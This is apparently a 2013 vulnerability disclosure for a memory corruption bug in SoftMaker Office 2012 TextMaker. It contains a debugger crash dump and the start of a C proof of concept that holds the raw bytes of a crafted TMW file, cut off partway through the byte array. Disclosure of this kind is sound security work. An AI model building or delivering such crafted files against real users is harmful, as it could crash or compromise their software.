SoftMaker Office 2012 – TextMaker Memory Corruption

/*

Title : Softmaker Office 2012 TextMaker Memory Corruption Vulnerability (0day)

Version : 2012.12.20.654

Author : Arash Allebrahim

Contact : Genius_s3c_firewall@yahoo.com

Date : 2013-10-30

Vendor : http://www.softmaker.com/english/of_en.htm

tested : Win XP SP3 ENG & Win 7 sp 1 x64 Ultimate

Description : Textmaker suffers from improper handling of crafted TMW file formats which leads to memory corruption

Trigger Guide : It's enough to Open the "PoC.tmw" with Softmaker Office Textmaker 2012 to reproduce the vulnerability

Debugging information :

(ed8.750): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=94949484 ebx=00000000 ecx=a49794d8 edx=10030034 esi=0012cf78 edi=01b9ffcc

eip=00c6fc9d esp=0012a850 ebp=0012a87c iopl=0 ov up ei ng nz na po cy

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010a87

*** WARNING: Unable to verify checksum for TMWVC.EXE

*** ERROR: Symbol file could not be found. Defaulted to export symbols for TMWVC.EXE -

TMWVC!l4linkSt::operator=+0x857723:

00c6fc9d 8901 mov [ecx],eax ds:0023:a49794d8=????????

0:000> kb

ChildEBP RetAddr Args to Child

WARNING: Stack unwind information not available. Following frames may be wrong.

0012a87c 00c6fa9a 01bd5554 94949494 01bd5554 TMWVC!l4linkSt::operator=+0x857723

0012a894 00813a0f 01bd5554 94949494 00000000 TMWVC!l4linkSt::operator=+0x857520

0012a8a8 006408a1 01b9efdc 94949494 00140000 TMWVC!l4linkSt::operator=+0x3fb495

0012a9f8 00643ca5 01b9efdc 01ba0c2c 00000013 TMWVC!l4linkSt::operator=+0x228327

0012ab20 00645d17 01b9efdc 01be8f40 01ba0c2c TMWVC!l4linkSt::operator=+0x22b72b

0012ac88 00646bd8 01b9efdc 01ba0c2c 0012c90c TMWVC!l4linkSt::operator=+0x22d79d

0012acc4 00646de4 01b9efdc 00000000 ffffffff TMWVC!l4linkSt::operator=+0x22e65e

0012cb18 007ea819 01b9efdc 0012cd68 00000000 TMWVC!l4linkSt::operator=+0x22e86a

0012cd50 007ed2c1 01b9efdc 01b50964 0012cd68 TMWVC!l4linkSt::operator=+0x3d229f

0012e80c 007fbaf0 000602d6 01b9efdc 01b50964 TMWVC!l4linkSt::operator=+0x3d4d47

0012ec5c 007ef2c6 01b9efdc 01b50964 000015e1 TMWVC!l4linkSt::operator=+0x3e3576

0012ecf4 007b2def 01b9efdc 01b50964 00000111 TMWVC!l4linkSt::operator=+0x3d6d4c

*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\USER32.dll -

0012ed28 7e418734 000602d6 00000111 000015e1 TMWVC!l4linkSt::operator=+0x39a875

0012ed54 7e418816 00416103 000602d6 00000111 USER32!GetDC+0x6d

0012edbc 7e42927b 00000000 00416103 000602d6 USER32!GetDC+0x14f

0012edf8 7e4292e3 004d86a8 014d7750 000015e1 USER32!GetParent+0x16c

0012ee18 007b28fa 000602d6 00000111 000015e1 USER32!SendMessageW+0x49

0012ee78 7e418734 000a02ba 00000111 000015e1 TMWVC!l4linkSt::operator=+0x39a380

0012eea4 7e418816 0040d2a6 000a02ba 00000111 USER32!GetDC+0x6d

0012ef0c 7e42927b 00000000 0040d2a6 000a02ba USER32!GetDC+0x14f

*/

#include<stdio.h>

#include<windows.h>

unsigned char rawData[41526] =

{

0x4D, 0x56, 0x00, 0xFF, 0x0C, 0x00, 0x0E, 0x00, 0x17, 0x00, 0x03, 0x00, 0x2D, 0x59, 0x41, 0x31,

0x03, 0x00, 0x17, 0x00, 0x31, 0x00, 0x11, 0x00, 0x02, 0x00, 0x9E, 0x01, 0x00, 0x00, 0x10, 0x00,

0x04, 0x00, 0x30, 0x13, 0x00, 0x00, 0x1E, 0x00, 0x04, 0x00, 0x2C, 0x13, 0x00, 0x00, 0x1F, 0x00,

0x01, 0x00, 0x34, 0x13, 0x00, 0x00, 0x20, 0x00, 0x2E, 0x00, 0xB8, 0x1C, 0x00, 0x00, 0x21, 0x00,

0x32, 0x00, 0x68, 0x0E, 0x00, 0x00, 0x22, 0x00, 0x01, 0x00, 0xBE, 0x0E, 0x00, 0x00, 0x16, 0x00,

0x00, 0x00, 0x24, 0x13, 0x00, 0x00, 0x1C, 0x00, 0x04, 0x00, 0x24, 0x13, 0x00, 0x00, 0x00, 0x00,

0x03, 0x00, 0x4C, 0x1A, 0x00, 0x00, 0x01, 0x00, 0x05, 0x00, 0x5C, 0x19, 0x00, 0x00, 0x02, 0x00,

0x04, 0x00, 0x00, 0x15, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00, 0xF4, 0x02, 0x00, 0x00, 0x05, 0x00,

0x04, 0x00, 0x00, 0x05, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 0xD8, 0x1B, 0x00, 0x00, 0x07, 0x00,

0x01, 0x00, 0x94, 0x18, 0x00, 0x00, 0x08, 0x00, 0x01, 0x00, 0xDC, 0x1B, 0x00, 0x00, 0x1B, 0x00,

0x01, 0x00, 0xF8, 0x18, 0x00, 0x00, 0x13, 0x00, 0x01, 0x00, 0x04, 0x13, 0x00, 0x00, 0x14, 0x00,

0x00, 0x00, 0x0C, 0x13, 0x00, 0x00, 0x0C, 0x00, 0x01, 0x00, 0x54, 0x1C, 0x00, 0x00, 0x0A, 0x00,

0x01, 0x00, 0x1E, 0x0E, 0x00, 0x00, 0x0B, 0x00, 0x01, 0x00, 0x40, 0x0D, 0x00, 0x00, 0x04, 0x00,

0x01, 0x00, 0x5C, 0x0D, 0x00, 0x00, 0x0D, 0x00, 0x08, 0x00, 0x54, 0x0E, 0x00, 0x00, 0x0E, 0x00,

0x0C, 0x00, 0x5C, 0x0E, 0x00, 0x00, 0x0F, 0x00, 0x3C, 0x00, 0xE6, 0x12, 0x00, 0x00, 0x19, 0x00,

0x01, 0x00, 0x22, 0x1C, 0x00, 0x00, 0x1A, 0x00, 0x04, 0x00, 0x28, 0x13, 0x00, 0x00, 0x18, 0x00,

0x5B, 0x1E, 0x5B, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0x00,

0x08, 0x00, 0xE6, 0x1C, 0x00, 0x00, 0x26, 0x00, 0x4C, 0x00, 0xA0, 0x01, 0x00, 0x00, 0x27, 0x00,

0x88, 0x00, 0xEC, 0x01, 0x00, 0x00, 0x28, 0x00, 0x14, 0x00, 0xEE, 0x1C, 0x00, 0x00, 0x29, 0x00,

0x14, 0x00, 0x9A, 0x0E, 0x00, 0x00, 0x2B, 0x00, 0x00, 0x00, 0x24, 0x13, 0x00, 0x00, 0x2A, 0x00,

0x04, 0x00, 0x34, 0x13, 0x00, 0x00, 0x2C, 0x00, 0xF4, 0x02, 0xA0, 0x15, 0x00, 0x00, 0x2D, 0x00,

0x4F, 0x00, 0x02, 0x1D, 0x00, 0x00, 0x2E, 0x00, 0x02, 0x00, 0x04, 0x19, 0x00, 0x00, 0x2F, 0x00,

0x16, 0x00, 0x51, 0x1D, 0x00, 0x00, 0x30, 0x00, 0x10, 0x00, 0xAE, 0x0E, 0x00, 0x00, 0x33, 0x00,

0xF4, 0x00, 0x67, 0x1D, 0x00, 0x00, 0x32, 0x00, 0x03, 0x00, 0x74, 0x13, 0x00, 0x00, 0x31, 0x00,

0x28, 0x00, 0x4C, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0x00,

0x14, 0x00, 0x38, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0xA0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,